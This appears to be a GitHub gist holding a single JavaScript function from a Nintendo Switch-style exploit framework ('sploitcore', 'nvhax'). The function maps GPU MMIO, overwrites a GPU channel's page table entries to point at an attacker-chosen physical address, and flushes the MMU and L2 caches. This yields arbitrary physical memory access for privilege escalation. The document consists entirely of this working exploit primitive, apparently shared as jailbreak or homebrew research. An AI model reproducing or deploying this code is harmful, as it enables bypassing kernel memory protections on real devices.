Skip to content

Instantly share code, notes, and snippets.

@hexkyz
Created December 28, 2018 19:48
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hexkyz/f851228dc9add3c96f8cf7349297c066 to your computer and use it in GitHub Desktop.
Save hexkyz/f851228dc9add3c96f8cf7349297c066 to your computer and use it in GitHub Desktop.
sploitcore.prototype.nvhax_patch_channel = function(ch_base_addr, target_paddr) {
// Map GPU MMIO
var gpu_io_vaddr = this.nvhax_map_io(0x57000000, 0x01000000);
// Page directory is always at channel + 0x15000
var pdb_vaddr = utils.add2(ch_base_addr, 0x15000);
// Read page directory base IOVA
var pdb_iova_lo = this.nvhax_read32(utils.add2(ch_base_addr, 0x200));
var pdb_iova_hi = this.nvhax_read32(utils.add2(ch_base_addr, 0x204));
var pdb_iova = ((pdb_iova_lo >> 0x08) | (pdb_iova_hi << 0x18));
// Page table is always at pdb + 0x2000
var ptb_vaddr = utils.add2(pdb_vaddr, 0x2000);
// Read the first entry
var pte_test = this.nvhax_read32(ptb_vaddr);
// Encode the target physical address
var pte_val = ((((target_paddr >> 0x08) & 0x00FFFFFF) >>> 0) | 0x01);
// Replace the PTEs
this.nvhax_write32(utils.add2(ptb_vaddr, 0x00), pte_val + 0x000);
this.nvhax_write32(utils.add2(ptb_vaddr, 0x08), pte_val + 0x200);
this.nvhax_write32(utils.add2(ptb_vaddr, 0x10), pte_val + 0x400);
this.nvhax_write32(utils.add2(ptb_vaddr, 0x18), pte_val + 0x600);
this.nvhax_write32(utils.add2(ptb_vaddr, 0x20), pte_val + 0x800);
this.nvhax_write32(utils.add2(ptb_vaddr, 0x28), pte_val + 0xA00);
this.nvhax_write32(utils.add2(ptb_vaddr, 0x30), pte_val + 0xC00);
this.nvhax_write32(utils.add2(ptb_vaddr, 0x38), pte_val + 0xE00);
var mmu_ctrl_fifo_space = 0;
var mmu_ctrl_fifo_empty = 0;
// Poll fb_mmu_ctrl_r
while (!mmu_ctrl_fifo_space)
{
var mmu_ctrl_data = this.nvhax_read32(utils.add2(gpu_io_vaddr, 0x00100C80));
mmu_ctrl_fifo_space = ((mmu_ctrl_data >> 0x10) & 0xFF);
}
// Write to fb_mmu_invalidate_pdb_r
this.nvhax_write32(utils.add2(gpu_io_vaddr, 0x00100CB8), pdb_iova);
// Write to fb_mmu_invalidate_r
this.nvhax_write32(utils.add2(gpu_io_vaddr, 0x00100CBC), 0x80000001);
// Poll fb_mmu_ctrl_r
while (!mmu_ctrl_fifo_empty)
{
var mmu_ctrl_data = this.nvhax_read32(utils.add2(gpu_io_vaddr, 0x00100C80));
mmu_ctrl_fifo_empty = ((mmu_ctrl_data >> 0x0F) & 0x01);
}
var l2_flush_dirty_outstanding = 0;
var l2_flush_dirty_pending = 0;
var l2_system_invalidate_outstanding = 0;
var l2_system_invalidate_pending = 0;
// Write to flush_l2_flush_dirty_r
this.nvhax_write32(utils.add2(gpu_io_vaddr, 0x00070010), 0x01);
// Poll flush_l2_flush_dirty_r
while (l2_flush_dirty_outstanding && l2_flush_dirty_pending)
{
var l2_flush_dirty_data = this.nvhax_read32(utils.add2(gpu_io_vaddr, 0x00070010));
l2_flush_dirty_outstanding = ((l2_flush_dirty_data >> 0x01) & 0x01);
l2_flush_dirty_pending = ((l2_flush_dirty_data >> 0x00) & 0x01);
}
// Write to flush_l2_system_invalidate_r
this.nvhax_write32(utils.add2(gpu_io_vaddr, 0x00070004), 0x01);
// Poll flush_l2_system_invalidate_r
while (l2_system_invalidate_outstanding && l2_system_invalidate_pending)
{
var l2_system_invalidate_data = this.nvhax_read32(utils.add2(gpu_io_vaddr, 0x00070004));
l2_system_invalidate_outstanding = ((l2_system_invalidate_data >> 0x01) & 0x01);
l2_system_invalidate_pending = ((l2_system_invalidate_data >> 0x00) & 0x01);
}
// Calculate the channel's IOVA for PEEPHOLE
var ch_iova = ((((pdb_iova - 0x200) >> 0x04) & 0x0FFFFFFF) >>> 0);
return ch_iova;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment